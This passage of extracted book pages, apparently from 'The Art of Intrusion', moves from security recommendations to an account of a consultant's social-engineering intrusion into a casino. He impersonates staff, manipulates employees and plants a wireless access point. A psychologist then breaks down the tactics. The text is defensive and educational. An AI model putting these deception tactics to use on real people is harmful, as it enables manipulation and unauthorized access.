            "text": "white-belts know this common oversight and how to exploit it. (Several\nsites on the Web, such as www.phenoelit.de/dpl/dpl.html, provide a list\nof default usernames and passwords.)\nSecuring Personnel Laptops\nThe systems being used by the company’s remote workers were connect-\ning to the corporate network with little or no security, a situation that is\nall too common. One client even had PC Anywhere configured to allow\nremote connections without even requiring a password. Even though the\ncomputer was connecting to the Internet via dial-up, and only for very\nlimited periods of time, each connection created a window of exposure.\nThe attackers were able to remotely control the machine by connecting\nto the laptop running PC Anywhere. And because it had been set up\nwithout requiring a password, attackers were able to hijack the user’s\ndesktop just by knowing the IP address. \nIT policy drafters should consider a requirement that client systems\nmaintain a certain level of security before being allowed to connect to\nthe corporate network. Products are available that install agents onto the\nclient systems to ensure security controls are commensurate with com-\npany policy; otherwise, the client system is denied access to corporate\ncomputing resources. The bad guys are going to analyze their targets by\nexamining the whole picture. This means trying to identify whether any\nusers connect remotely, and if so, the origin of those connections. The\nattacker knows if he or she can compromise a trusted computer that is\nused to connect to the corporate network, it’s highly likely that this trust\nrelationship can be abused to gain access to corporate information\nresources. \nEven when security is being well handled within a company, there is too\noften a tendency to overlook the laptops and home computers used by\nemployees for accessing the corporate network, leaving an opening that\nattackers can take advantage of, as what happened in this story. Laptops\nand home computers that connect to the internal network must be\nsecure; otherwise, the employee’s computer system may be the weak link\nthat’s exploited.\nAuthentication\nThe attackers in this case were able to extract the authentication informa-\ntion from the client’s system without being detected. As has been pointed\nout repeatedly in earlier chapters, a stronger form of authentication will\nChapter 9\nOn the Continent\n217\n"
        },
        {
            "page_number": 239,
            "text": "stop most attackers dead in their tracks, and companies should consider\nusing dynamic passwords, smart cards, tokens, or digital certificates as a\nmeans of authentication for remote access into VPNs or other sensitive\nsystems. \nFiltering Unnecessary Services\nIT staff should consider creating a set of filtering rules to control both\nincoming and outgoing connections to specific hosts and services from\nuntrusted networks such as the Internet, as well as from semi-trusted\n(DMZ) networks within the company.\nHardening\nThe story also provides a reminder of an IT staff that did not bother to\nharden the computer systems connected to the internal network, or keep\nup-to-date with security patches, presumably because of the perception\nthat the risk of being compromised was low. This common practice gives\nthe bad guys an advantage. Once the attacker finds a way to access a sin-\ngle internal unsecured system and is able to successfully compromise it,\nthe door is open for expanding illicit access to other systems that are\ntrusted by the compromised computer. Again, simply relying on the\nperimeter firewall to keep the hackers at bay without bothering to harden\nthe systems connected to the corporate network is like piling all your\nwealth in $100 bills on the dining room table and figuring you’re safe\nbecause you keep the front door locked.\nTHE BOTTOM LINE\nSince this is the last chapter on stories that illustrate technical-based\nattacks, it seems like a good place for a few words of recap.\nIf you were asked to name important steps to defend against the most\ncommon vulnerabilities that allow attackers to gain entry, based on the\nstories in this book, what would some of your choices be?\nPlease think about your answer briefly before reading on; then go to\nthe next page.\nThe Art of Intrusion\n218\n"
        },
        {
            "page_number": 240,
            "text": "Whatever items you came up with as some of the most common vul-\nnerabilities described in this book, I hope you remembered to include at\nleast some of these:\n●\nDevelop a process for patch management to ensure that all the\nnecessary security fixes are applied in a timely manner.\n●\nFor remote access to sensitive information or computing\nresources, use stronger authentication methods than are pro-\nvided by static passwords.\n●\nChange all default passwords.\n●\nUse a defense-in-depth model so that a single point of failure\ndoes not jeopardize security, and routinely test this model on\na regular basis.\n●\nEstablish a corporate security policy concerning the filtering\nof both incoming and outgoing traffic.\n●\nHarden all client-based systems that access sensitive informa-\ntion or computing resources. Let’s not forget that the persist-\nent attacker also targets client systems to either hijack a\nlegitimate connection or to exploit a trusted relationship\nbetween the client system and the corporate network. \n●\nUse intrusion-detection devices to identify suspicious traffic\nor attempts to exploit known vulnerabilities. Such systems\nmay, as well, identify a malicious insider or an attacker who\nhas already compromised the secure perimeter.\n●\nEnable auditing features of the operating system and critical\napplications. Also, ensure that the logs are preserved on a\nsecure host that has no other services and the minimal num-\nber of user accounts.\nChapter 9\nOn the Continent\n219\n"
        },
        {
            "page_number": 241,
            "text": ""
        },
        {
            "page_number": 242,
            "text": "221\nChapter 10\nSocial Engineers — How They\nWork and How to Stop Them\nThe social engineer employs the same persuasive techniques the rest of us\nuse every day. We take on roles. We try to build credibility. We call in recip-\nrocal obligations. But the social engineer applies these techniques in a\nmanipulative, deceptive, highly unethical manner, often to devastating\neffect.\n— Social Psychologist Dr. Brad Sagarin\nT\nhis chapter does something a bit different: We look at the most\ndifficult type of attack to detect and defend against. The social\nengineer, or the attacker skilled in the art of deception as one\nof the weapons in his or her toolkit, preys on the best qualities of human\nnature: our natural tendencies to be helpful, polite, supportive, a team\nplayer, and the desire to get the job done.\nAs with most things in life that threaten us, the first step toward a sen-\nsible defense is understanding the methodologies used by cyber-adver-\nsaries. So, we present here a set of psychological insights that probe the\nunderpinnings of human behavior allowing the social engineer to be so\ninfluencing.\nFirst, though, an eye-opening story of a social engineer at work. The fol-\nlowing is based on a story we received in writing that is both amusing and\na textbook case of social engineering. We thought it so good that we have\nincluded it despite some reservations; the man either had accidentally\n"
        },
        {
            "page_number": 243,
            "text": "omitted some of the details because he was distracted on other business\nmatters or else he made up portions of the story. Still, even if some of this\nis fiction, it makes the case very convincingly of the need for better pro-\ntection against social engineering attacks. \nAs elsewhere throughout the book, details have been changed to pro-\ntect both the attacker and the client company.\nA SOCIAL ENGINEER AT WORK\nIn the summer of 2002, a security consultant whose handle is “Whurley”\nwas hired by a resort group in Las Vegas to perform a variety of security\naudits. They were in the process of reengineering their approach to secu-\nrity and hired him to “try to circumvent any and all processes” in an\neffort to help them build a better security infrastructure. He had plenty\nof technical experience, but little experience being in a casino. \nAfter a week or so of immersing himself in research on the culture of\nthe Strip, it was time for the real Las Vegas. He usually made it a practice\nto start a job like this early, getting finished before it was officially sched-\nuled to begin, because over the years he had found that managers don’t\ntell employees about a potential audit until the week they think it’s going\nto happen. “Even though they shouldn’t give anyone a heads up, they\ndo.” But he easily circumvented this by performing the audit in the two\nweeks before the scheduled date. \nThough it was nine at night by the time he arrived and settled into his\nhotel room, Whurley went straight to the first casino on his list to start his\non-site research. Having not spent a lot of time in casinos, this experience\nwas quite an eye-opener for him. The first thing he noticed contradicted\nwhat he had seen on the Travel channel, where every casino staffer shown\nor interviewed appeared to be an elite security specialist. The majority of\nthe employees he watched on-site seemed to be “either dead asleep on\ntheir feet or completely complacent in their job.” Both of these conditions\nwould make them easy targets for the simplest of confidence games —\nwhich wasn’t even going to come close to what he had planned. \nHe approached one very relaxed employee and with a very little prod-\nding found the person willing to discuss the details of his job. Ironically,\nhe had previously been employed by Whurley’s client-casino. “So, I bet\nthat was a lot better, huh?” Whurley asked. \nThe employee replied, “Not really. Here I get floor-audited all the\ntime. Over there they hardly noticed if I was a little behind, pretty much\nThe Art of Intrusion\n222\n"
        },
        {
            "page_number": 244,
            "text": "that way for everything . . . time clocks, badges, schedules, whatever.\nTheir right hand doesn’t know what their left is doing.” \nThe man also explained that he used to lose his employee badge all the\ntime, and sometimes he would just share a badge with another employee\nto get in for the free meals provided to employees in the staff cafeterias\nlocated within the bowels of the casino.\nThe next morning Whurley formulated his goal, which was \nstraightforward — he would get into every protected area of the casino\nthat he could, document his presence, and try to penetrate as many of the\nsecurity systems as he could. In addition, he wanted to find out if he\ncould gain access to any of the systems that ran the financials or held\nother sensitive information, such as visitor information. \nThat night, on the way back to his hotel after visiting the target casino,\nhe heard a promotion on the radio for a fitness club offering a special for\nservice industry employees. He got some sleep and the next morning\nheaded for the fitness club. \nAt the club, he targeted a lady named Lenore. “In 15 minutes we had\nestablished a ‘spiritual connection.’” This turned out to be great because\nLenore was a financial auditor and he wanted to know everything that\nhad to do with the words “financial” and “audit” at the target casino. If\nhe could penetrate the financial systems in his audit, it was sure to be\nviewed as a huge security flaw by the client. \nOne of Whurley’s favorite tricks to use when he’s social engineering is\nthe art of cold reading. As they were talking, he would observe her non-\nverbal signals and then throw out something that would lead her to say,\n“Oh, no shit — me, too.” They hit if off, and he asked her out to dinner. \nOver dinner, Whurley told her that he was new to Vegas and looking\nfor a job, that he had gone to major university and had a degree in\nFinance, but that he had moved to Vegas after breaking up with his girl-\nfriend. The change of pace would help him get over the breakup. Then\nhe confessed to being a little intimidated by trying to get an auditing job\nin Vegas because he didn’t want to end up “swimming with the sharks.”\nShe spent the next couple of hours reassuring him that he would not have\na hard time getting a finance job. To help out, Lenore provided him with\nmore details about her job and her employer than he even needed. “She\nwas the greatest thing that had happened to me so far on this gig, and I\ngladly paid for dinner — which I was going to expense anyway.” \nLooking back, he said that at this point he was overconfident about his\nabilities, “which cost me later.” It was time to get started. He had packed a\nChapter 10\nSocial Engineers — How They Work and How to Stop Them\n223\n"
        },
        {
            "page_number": 245,
            "text": "bag with “a few goodies including my laptop, an Orinoco broadband wire-\nless gateway, an antenna, and a few other accessories.” The goal was simple.\nTry to get into the office area of the casino, take some digital \nphotos (with time stamps) of himself in places he shouldn’t be, and then\ninstall a wireless access point on the network so that he could try to remotely\nhack into their systems to collect sensitive information. To complete \nthe job, the next day he would have to go back in to get the wireless\naccess point. \n“I was feeling quite like James Bond.” Whurley arrived at the casino,\noutside the employee’s entrance, right at the shift change, positioning\nhimself to be able to observe the entrance. He thought he would be there\nin time to observe things for a few minutes, but most of the people\nseemed to have arrived already and he was stuck trying to walk in all by\nhimself. \nA few minutes of waiting and the entryway was clear . . . which was not\nwhat he wanted. Whurley did, however, notice a guard who looked as if\nhe were leaving but was stopped by a second guard and they stood\naround smoking just outside the exit. When they finished their cigarettes,\nthey parted and started walking in opposite directions. \nI headed across the street towards the guard who was leaving the\nbuilding and prepared to use my favorite disarming question. As\nhe approached me crossing the street, I let him get just past me. \nThen he said, “Excuse me, excuse me, do you have the time?” \nIt was by plan. “One thing I’ve noticed is that if you approach some-\none from the front, they’re almost always more defensive than if you let\nthem get slightly past you before you address them.” While the guard\nwas telling Whurley the time, Whurley was looking him over in detail. A\nname badge identified the guard as Charlie. “As we were standing there,\nI had a stroke of luck. Another employee came walking out and called\nCharlie by his nickname, Cheesy. So I asked Charlie if he caught shit like\nthat a lot and he told me how he got the nickname.” \nWhurley then headed toward the employee entrance at a quick pace.\nIt’s often said that the best defense is a good offense, and that was his\nplan. As he reached the entrance, where he had noticed employees show-\ning their badges earlier, he went straight up to the guard at the desk and\nsaid, “Hey, have you seen Cheesy? He owes me $20 on the game and I\nneed the money to get some lunch when I go on break.”\nRecalling that moment, he says, “Damn! This is where I got my first\nchallenge.” He had forgotten that employees get their meals free. But he\nThe Art of Intrusion\n224\n"
        },
        {
            "page_number": 246,
            "text": "wasn’t put off by being challenged; while others with attention\ndeficit/hyperactivity disorder (ADHD) might see it as a problem,\nWhurley describes himself as “very ADHD,” and adds that, as a result, “I\ncan think much faster on my feet than 90 percent of the people I run\ninto.” That ability came in handy here.\nSo the guard says, “What the hell are you buying lunch for any-\nway?” and chuckled but started looking suspicious. Quickly I\nthrew out, “I’m meeting a little honey for lunch. Man, she’s hot.\n(This always distracts older guys, out of shape guys, and the living-\nwith-mom type guys.) “What am I going to do?”\nThe guard says, “Well, you’re screwed ’cause Cheesy’s gone for the\nrest of the week.” \n“Bastard!” I say. \nThe guard then amused Whurley (an amusement he didn’t dare show)\nby unexpectedly asking if he was in love. \nI just start rolling with it. Then I got the surprise of my life. I\nhave never even come close to something like this. It could be\nattributed to skill, but I rack it up to blind luck: the guy gives me\n$40! He tells me $20 won’t buy shit and I obviously need to be the\none that pays. Then he gives me five minutes of “fatherly” advice,\nand all about how he wished he had known what he knows now\nwhen he was my age. \nWhurley was “in awe” that the guy bought this con and was paying for\nhis imaginary date.\nBut, things weren’t going as smoothly as Whurley thought, because as\nhe started walking off, the guard realized he hadn’t shown any ID and\nchallenged him. “So I said, ‘It’s in my bag, sorry about that’ and started\ndigging through my stuff as I proceeded away from him. That was a close\ncall ’cause if he’d have insisted on seeing the ID, I might have been\nscrewed.” \nWhurley was now inside the employee entrance but had no idea where\nto go. There weren’t a lot of people he could follow, so he just walked\nwith confidence and started taking mental notes of his surroundings. He\nhad little fear of being challenged at this point. “Funny,” he said, “how\nthe psychology of color can come in so handy. I was wearing blue — the\ntruth color — and dressed as if I were a junior executive. Most of the\npeople running around were wearing staffer clothes, so it was highly\nunlikely they would question me.” \nChapter 10\nSocial Engineers — How They Work and How to Stop Them\n225\n"
        },
        {
            "page_number": 247,
            "text": "As he was walking down the hallway, he noticed that one of the cam-\nera rooms just looked just like the ones he had seen on the Travel\nChannel — an “Eye in the Sky” room, except that this one wasn’t over-\nhead. The outer room had “the most VCRs I had ever seen in one\nplace — wow, was it cool!” He walked through to the inner room and\nthen did something especially gutsy. “I just walked in, cleared my throat\nand before they could challenge me, I said, ‘Focus on the girl on 23.’” \nAll the displays were numbered, and, of course, there was a girl on\nnearly every one. The men gathered around display 23 and they all began\ntalking about what the girl might be up to, which Whurley thought gen-\nerated a good deal of paranoia. This went on for some 15 minutes just\nchecking out people on monitors, with Whurley deciding that the job is\na perfect one for anyone with a propensity for voyeurism. \nAs he was getting ready to leave, he announced, “Oh, I got so caught\nup in that action, I forgot to introduce myself. I’m Walter with Internal\nAudit. I just got hired onto Dan Moore’s staff,” using the name of the\nhead of Internal Audit that he had picked up in one of his conversations.\n“And I’ve never been to this property so I’m a little lost. Could you point\nme in the direction of the executive offices?” \nThe guys were more than happy to get rid of an interfering executive\nand eager to help “Walter” find the offices he was looking for. Whurley\nset out in the direction they indicated. Seeing nobody in sight, he\ndecided to take a look around and found a small break room where a\nyoung woman was reading a magazine. “She was Megan, a real nice girl.\nSo Megan and I talked for a few minutes. Then she says, ‘Oh, if you’re\nwith Internal Audit, I have some stuff that needs to go to back there.’”\nAs it turned out, Megan had a couple of badges, some internal memos,\nand a box of papers that belonged back at the main resort group Internal\nAudit office. Whurley thought, “Wow, now I have a badge!” \nNot that people look at the pictures on ID badges very carefully, but\nhe took the precaution of flipping it around so only the back was visible.\nAs I’m walking out, I see an open, empty office. It has two net-\nwork ports, but I can’t tell if they’re hot by just looking at them,\nso I go back to where Megan is sitting and tell her that I forgot I\nwas supposed to look at her system and the one in “the boss’s\noffice.” She graciously agrees and lets me sit at her desk. \nShe gives me her password when I ask, and then has to use the rest-\nroom. So, I tell her I’m going to add a “network security moni-\ntor” and show her the wireless access point. She replies, “Whatever.\nI don’t really know much about that geeky stuff.” \nThe Art of Intrusion\n226\n"
        },
        {
            "page_number": 248,
            "text": "While she was out, he installed the wireless access point and restarted\nher desktop. Then he realized he had a 256MB universal serial bus (USB)\nflash drive on his key chain and full access to Megan’s computer. “I start\nsurfing through her hard drive and find all kind of good stuff.” It turned\nout that she was the executive administrator for every one of the execu-\ntives and that she had organized their files by name “all nice and neat.”\nHe grabbed everything he could, then, using the timer feature on his dig-\nital camera, took a picture of himself sitting in the main executive’s office.\nAfter a few minutes Megan returned, and he asked her for directions to\nthe Network Operations Center (NOC). \nThere he ran into “serious trouble.” He said, “First off, the network\nroom was marked . . . which was cool. However, the door is locked.” He\ndidn’t have a badge that would give him access and tried knocking. \nA gentleman comes to the door and I tell him the same story I’ve\nbeen using: “Hi, I’m Walter with Internal Audit and blah, blah,\nblah.” Except what I don’t know is that this guy’s boss — the IT\ndirector — is sitting in the office. So the guy at the door says\n“Well, I need to check with Richard. Wait here a second.”\nHe turns around and tells another guy to get Richard and let\nhim know that there is someone “claiming” to be from Internal\nAudit at the door. A few moments later, I get busted. Richard\nasks who I’m with, where my badge is, and a half dozen other\nquestions in rapid succession. He then says, “Why don’t you come\ninto my office while I call Internal Audit and we’ll get this\ncleared up.”\nWhurley figured that “This guy has totally busted me.” But then,\n“Thinking quickly, I tell him ‘You got me!’ and I shake his hand. I then tell\nhim ‘My name is Whurley.’ And I reach in my bag for a business card. I then\ntell him that I’ve been down inside the bowels of the casino for a couple of\nhours and not one person has challenged me, and that he was the first and\nwas probably going to look pretty good in my report. I then say, ‘Let’s go\nsit in your office while you call over so you know everything is legitimate.\nBesides,’ I say, ‘I need to go ahead and tell Martha, who is in charge of this\noperation, about a couple of the things I’ve seen down here.’”\nFor an on-the-spot gambit in a tight situation, it turned out to be brilliant.\nAn amazing transformation took place. Richard began asking Whurley\nabout what he had seen, people’s names, and so on, and then explained\nthat he had been doing his own audit in an attempt to get an increase in\nthe security budget to make the NOC more secure, with “biometrics and\nChapter 10\nSocial Engineers — How They Work and How to Stop Them\n227\n"
        },
        {
            "page_number": 249,
            "text": "the whole works.” And he suggested that maybe he could use some of\nWhurley’s information to help him achieve his goal. \nBy then it was lunch time. Whurley took advantage of the opening by\nsuggesting that maybe they could talk about it over lunch, which Richard\nseemed to think was a good idea, and they headed off together to the\nstaff cafeteria. “Notice that we haven’t called anyone yet at this point. So\nI suggest that we place that call, and he says, ‘You’ve got a card, I know\nwho you are.’” So the two ate together in the cafeteria, where Whurley\ngot a free meal and made a new “friend.” \n“He asked about my networking background and we started talking\nabout the AS400s that the casino is running everything on. The fact that\nthings went this way can be described in two words — very scary.” Scary\nbecause the man is the director of IT, and responsible for computer secu-\nrity, is sharing all kinds of privileged, inside information with Whurley but\nhas never taken the most basic step of verifying his identity.\nCommenting on this, Whurley observed that “mid-level managers\ndon’t ever want to be put ‘on the spot.’ Like most of us, they never want\nto be wrong or get caught making an obvious mistake. Understanding\ntheir mindset can be a huge advantage.” After lunch, Richard brought\nWhurley back to the NOC. \n“When we walk in, he introduces me to Larry, the main systems admin-\nistrator for the AS400s. He explains to Larry that I’m going to be ‘rip-\nping’ them in an audit in a few days, and he had had lunch with me and\ngot me to agree to do a preliminary audit and save them any major\nembarrassment” when it came time for the actual audit. Whurley then\nspent a few minutes getting an overview of the systems from Larry, gath-\nering more useful information for his report; for example, that the NOC\nstored and processed all of the aggregate data for the entire resort group. \nI told him that it would help me to help him faster if I had a net-\nwork diagram, firewall Access Control Lists, and so on, which he\nprovided only after calling Richard for approval. I thought,\n“Good for him.”\nWhurley suddenly realized that he had left the wireless access point\nback in the executive offices. Though the chances that he would be\ncaught had dropped dramatically since establishing his rapport with\nRichard, he explained to Larry that he needed to go back to get the\naccess point he had left. “To do this I would need a badge so I could let\nmyself back into the NOC and come and go as I pleased.” Larry seemed\na bit reluctant to do this, so Whurley recommended that he call Richard\nThe Art of Intrusion\n228\n"
        },
        {
            "page_number": 250,
            "text": "again. He called and told Richard that the visitor wanted to be issued a\nbadge; Richard had an even better idea: The casino had recently let sev-\neral employees go, and their badges were in the NOC and nobody had\nfound the time yet to deactivate them, “so it would be all right for him\nto just use one of those.” \nWhurley went back to having Larry explain the systems and describe\nthe security measures they had recently taken. A phone call came in from\nLarry’s wife, apparently angry and upset about some ongoing issue.\nWhurley pounced on this volatile situation, recognizing he could bene-\nfit. Larry said to his wife, “Listen, I can’t talk. I have someone here in the\noffice.” Whurley motioned for Larry to put his wife on hold for a second\nand then offered advice about how important it was for him to work\nthrough the problem with her. And he offered to grab one of the badges\nif Larry would show him where they were. \n“So Larry walked me over to a filing cabinet, opened a drawer, and just\nsaid ‘Take one of these.’ He then walked back to his desk and picked up\nthe phone. I noticed that there was no sign-out sheet or log of the badge\nnumbers, so I took two of the several that were there.” He now had not\njust a badge, but one that would allow him access to the NOC at any time.\nWhurley then headed back to see his new friend Megan, recover his\nwireless access point, and see what else he could find out. And he could\ntake his time about it. \nI figured the time wouldn’t really matter because he’d be on the\nphone with his wife and he’d stay distracted for longer than he\nthought. I set the stopwatch on my phone to count down twenty\nminutes, enough time for me to do some exploring without draw-\ning additional suspicion from Larry, who appeared to suspect\nsomething was up. \nAnyone who’s ever worked in an IT department knows that ID badges\nare tied to a computer system; with the right PC access, you can expand\nyour access to go anywhere in the building. Whurley was hoping to dis-\ncover the computer where badge access privileges were controlled so he\ncould modify the access on the two badges he had. He walked through\nthe corridors looking into offices for the control system for the badges,\nwhich proved to be harder than he thought. He felt frustrated and\nstumped. \nHe decided to ask someone and settled on the guard who had been so\nfriendly at the employees’ entrance. By now many people had seen him\nwith Richard, so that suspicions were almost nonexistent. Whurley found\nChapter 10\nSocial Engineers — How They Work and How to Stop Them\n229\n"
        },
        {
            "page_number": 251,
            "text": "his mark and told him that he needed to see the building access control\nsystem. The guard didn’t even ask why. No trouble. He was told exactly\nwhere to find what he was looking for. \n“I located the control system and walked into the small networking\ncloset where it was located. There I found a PC on the floor with the list\nfor the ID badges already open. No screen saver, no password — noth-\ning to slow me down.” In his view, this was typical. “People have an ‘out\nof sight, out of mind’ mentality. If a system like this is in a controlled\naccess area, they think there isn’t any need to be diligent about protecting\nthe computer.”\nIn addition to giving himself all-areas access, there was one more thing\nhe wanted to do:\nJust for fun, I thought I should take the extra badge, add some\naccess privileges, switch the name, and then switch it with an\nemployee who would be wandering around the casino, inadver-\ntently helping me to muddy the audit logs. But who would I\nchoose? Why Megan, of course — it would be easy to switch the\nbadges with her. All I would have to do is tell her I needed her help\nwith the audit.\nWhen Whurley walked in, Megan was as friendly as ever. He explained\nthat he had completed the test and needed to get that equipment back.\nHe then told Megan that he needed her help. “Most social engineers\nwould agree that people are too willing to help.” He needed to see\nMegan’s badge to check it against the list he had. A few moments later,\nMegan had a badge that would confuse things even further, while\nWhurley had her badge as well as the badge that would tag him as an\nexecutive in the logs. \nWhen Whurley got back to Larry’s office, the distraught manager was\njust finishing the call with his wife. Finally hanging up, he was ready to\ncontinue their conversation. Whurley asked that the network diagrams be\nexplained in detail to him, but then interrupted and, to disarm him,\nWhurley asked about how things were going with Larry’s wife. The two\nmen spent almost an hour talking about marriage and other life issues. \nAt the end of our talk, I was convinced that Larry wouldn’t be\ncausing me any more issues. So, now I explain to Larry that my\nlaptop has special auditing software I need to run against the\nnetwork. Since I usually have top gear, getting the laptop hooked\nup to the network is always easy because there isn’t a geek on the\nplanet who doesn’t want to see it running. \nThe Art of Intrusion\n230\n"
        },
        {
            "page_number": 252,
            "text": "After a while, Larry stepped away to make some phone calls and attend\nto other items. Left to himself, Whurley scanned the network and was\nable to compromise several systems, both Windows and Linux machines,\nbecause of poor password management, and then spent nearly two hours\nstarting and stopping copies of information off the network and even\nburning some of the items to DVD, “which was never questioned.”\nAfter completing all of this I thought it would be funny, and use-\nful, to try one more thing. I went to every individual that I had\ncome in contact with — and some that had just briefly seen me\nwith others — and told them some variant of “Well, I’m done.\nSay, could you do me a favor. I like to collect pictures of all the peo-\nple and places I work at. Would you mind taking a picture with\nme?” This proved to be “amazingly simple.” \nSeveral people even offered to take the pictures of him with others in\nnearby offices. He had also secured badges, network diagrams, and access\nto the casino’s network. And he had photos to prove it all.\nAt the review meeting, the head of Internal Audit complained that\nWhurley had no right to try to access the systems in a physical way\nbecause “that wasn’t how they would be attacked.” Whurley was also\ntold that what he did bordered on “criminal” and that the client didn’t\nat all appreciate his actions. \nWhurley explained:\nWhy did the casino think that what I did was unfair? The answer\nwas simple. I had not worked with any casino before and did not\nfully understand the regulations [they operate under]. My report\ncould cause them to be audited by the Gaming Commission,\nwhich could potentially have actual financial repercussions.\nWhurley was paid in full, so he didn’t mind very much. He wished that\nhe had left a better impression on the client but felt they pretty much\nhated the approach he had used and thought it unfair to them and to\ntheir employees. “They made it very clear that they didn’t really want to\nsee me around anymore.” \nThat hadn’t happened to him before; usually clients appreciated the\nresults of his audits and saw them as what he called “mini-red teaming\nevents or War Games,” meaning they were okay with being tested using the\nsame methods that a hostile hacker or social engineer might. “Clients\nalmost always get a thrill out of it. I had, too, until this point in my career.” \nChapter 10\nSocial Engineers — How They Work and How to Stop Them\n231\n"
        },
        {
            "page_number": 253,
            "text": "All in all, Whurley rates this Vegas experience as a success in the area of\ntesting, but a disaster in the area of client relations. “I’ll probably never\nwork in Vegas again,” he laments.\nBut then, maybe the Gaming Commission needs the consulting serv-\nices of an ethical hacker who already knows his way around the back areas\nof a casino.\nINSIGHT\nSocial psychologist Brad Sagarin, PhD, who has made a study of persua-\nsion, describes the social engineer’s arsenal this way: “There’s nothing\nmagic about social engineering. The social engineer employs the same\npersuasive techniques the rest of us use every day. We take on roles. We\ntry to build credibility. We call in reciprocal obligations. But unlike most\nof us, the social engineer applies these techniques in a manipulative,\ndeceptive, highly unethical manner, often to devastating effect.”\nWe asked Dr. Sagarin to provide descriptions of the psychological\nprinciples underlying the most common tactics used by social engi-\nneers. In a number of cases, he accompanied his explanation with an\nexample from the stories in the earlier Mitnick/Simon book, The Art\nof Deception (Wiley Publishing, Inc., 2002), that illustrated the partic-\nular tactic.\nEach item begins with an informal, nonscientific explanation of the\nprinciple, and an example. \nTrappings of Role\nThe social engineer exhibits a few behavioral characteristics of the role he\nor she is masquerading in. Most of us tend to fill in the blanks when given\njust a few characteristics of a role — we see a man dressed like an execu-\ntive and assume he’s smart, focused, and reliable.\nExample: When Whurley entered the Eye in the Sky room, he was dressed\nlike an executive, he spoke with a commanding authority, and he gave what\nthe men in the room took to be an order to action. He had successfully\ndonned the trappings of a casino manager or executive.\nIn virtually every social engineering attack, the attacker uses trappings of\nrole so the target will infer other characteristics of the role and act accord-\ningly. The role may be as an IT technician, a customer, a new hire, or any\nof many others that would ordinarily encourage compliance with a request.\nCommon trappings include mentioning the name of the target’s boss or\nThe Art of Intrusion\n232\n"
        },
        {
            "page_number": 254,
            "text": "other employees, or using company or industry terminology or jargon. For\nin-person attacks, the attackers choice of clothing, jewelry (a company pin,\nan athlete’s wristwatch, an expensive pen, a school ring), or grooming (for\nexample, hairstyle) are also trappings that can suggest believability in the\nrole that the attacker is claiming. The power of this method grows from the\nfact that once we accept someone (as an executive, a customer, a fellow\nemployee), we make inferences attributing other characteristics (an execu-\ntive is wealthy and powerful, a software developer is technically savvy but\nmay be socially awkward, a fellow employee is trustworthy). \nHow much information is needed before people start making these\ninferences? Not much.\nCredibility\nEstablishing credibility is step one in most social engineering attacks, a\ncornerstone for everything that is to follow.\nExample: Whurley suggested to Richard, a senior IT person, that the two\nof them have lunch together, realizing that his being seen with Richard\nwould immediately establish his credibility with any employee who noticed\nthem together. \nDr. Sagarin identified three methods used in The Art of Deception that\nsocial engineers rely on to build credibility. In one method, the attacker\nsays something that would seem to be arguing against his or her self-\ninterest, as found in Chapter 8 of The Art of Deception in the story “One\nSimple Call,” when the attacker tells his victim, “Now, go ahead and type\nyour password but don’t tell me what it is. You should never tell anybody\nyour password, not even tech support.” This sounds like a statement\nfrom someone who is trustworthy.\nIn the second method, the attacker warns the target of an event that\n(unbeknownst to the target) the attacker causes to occur. For example, in\nthe story, “The Network Outage,” appearing in Chapter 5 of The Art of\nDeception, the attacker explains that the network connection might go\ndown. The attacker then does something that makes the victim lose his net-\nwork connection, giving the attacker credibility in the eyes of the victim.\nThis prediction tactic is often combined with the third of these meth-\nods, in which the attacker further “proves” he or she is credible by help-\ning the victim solve a problem. That’s what happened in “The Network\nOutage,” when the attacker first warned that the network might go out,\nthen caused the victim’s network connection to fail, as predicted, and\nsubsequently restored the connection and claimed that he had “fixed the\nproblem,” leaving his victim both trusting and grateful. \nChapter 10\nSocial Engineers — How They Work and How to Stop Them\n233\n"
        },
        {
            "page_number": 255,
            "text": "Forcing the Target into a Role (Altercasting)\nThe social engineer maneuvers his or her target into an alternative role,\nsuch as forcing submission by being aggressive.\nExample: Whurley, in his conversations with Lenore, put himself into a\nneedy role (just broke up with his girlfriend, just moved to town and needs\na job), in order to maneuver her into a helper role.\nIn its most common form, the social engineer puts his or her target into\nthe role of helper. Once a person has accepted the helper role, he or she\nwill usually find it awkward or difficult to back off from helping.\nAn astute social engineer will try to gain a sense of a role that the vic-\ntim would be comfortable in. The social engineer will then manipulate\nthe conversation to maneuver the person into that role — as Whurley did\nwith both Lenore and Megan when he sensed they would be comfortable\nas helpers. People are likely to accept roles that are positive and that make\nthem feel good.\nDistracting from Systematic Thinking\nSocial psychologists have determined that human beings process incom-\ning information in one of two modes, which they have labeled the sys-\ntematic and the heuristic. \nExample: When a manager needed to handle a difficult situation with his\ndistraught wife, Whurley took advantage of the man’s emotional state and\ndistraction to make a request that landed him an authentic employee’s\nbadge.\nDr. Sagarin explains, “When processing systematically, we think care-\nfully and rationally about a request before making a decision. When pro-\ncessing heuristically, on the other hand, we take mental shortcuts in\nmaking decisions. For example, we might comply with a request based on\nwho the requestor claims to be, rather than the sensitivity of the infor-\nmation he or she has requested. We try to operate in the systematic mode\nwhen the subject matter is important to us. But time pressure, distrac-\ntion, or strong emotion can switch us to the heuristic mode.”\nWe like to think that we normally operate in a rational, logical mode,\nmaking decisions based on the facts. Psychologist Dr. Gregory Neidert\nhas been quoted as saying, “we humans are running our brains at idle\nabout 90 percent to 95 percent of the time.”1 Social engineers try to take\nadvantage of this, using a variety of influence methods to force their\nvictims to shift out of the systematic mode — knowing that people oper-\nating in a heuristic mode are much less likely to have access to their \nThe Art of Intrusion\n234\n"
        },
        {
            "page_number": 256,
            "text": "psychological defenses; they are less likely to be suspicious, ask questions,\nor present objections to the attacker. \nSocial engineers want to approach targets that are in heuristic mode\nand keep them there. One tactic is to call a target five minutes before the\nend of the workday, counting on the fact that anxiety about leaving the\noffice on time may lead the target to comply with a request that might\notherwise have been challenged.\nMomentum of Compliance\nSocial engineers create a momentum of compliance by making a series of\nrequests, starting with innocuous ones.\nExample: Dr. Sagarin cites the story “CreditChex,” appearing in Chapter\n1 of The Art of Deception, in which the attacker buries the key question,\nsensitive information about the bank’s Merchant ID number, which was\nused as a password to verify identity over the phone, in the middle of a series\nof innocuous questions. Since the initial questions appear to be innocuous,\nthis establishes a framework in which the victim is positioned to treat the\nmore sensitive information as also innocuous. \nTelevision writer/producer Richard Levinson made this a tactic of his\nmost famous character, Columbo, played by Peter Falk. Audiences\ndelighted in knowing that just as the detective was walking away, and the\nsuspect was lowering his or her defenses, pleased with themselves at fool-\ning the detective, Columbo would stop to ask one final question, the key\nquestion that he had been building up to all along. Social engineers fre-\nquently make use of this “one-more-thing” tactic.\nThe Desire to Help\nPsychologists have identified many benefits people receive when they\nhelp 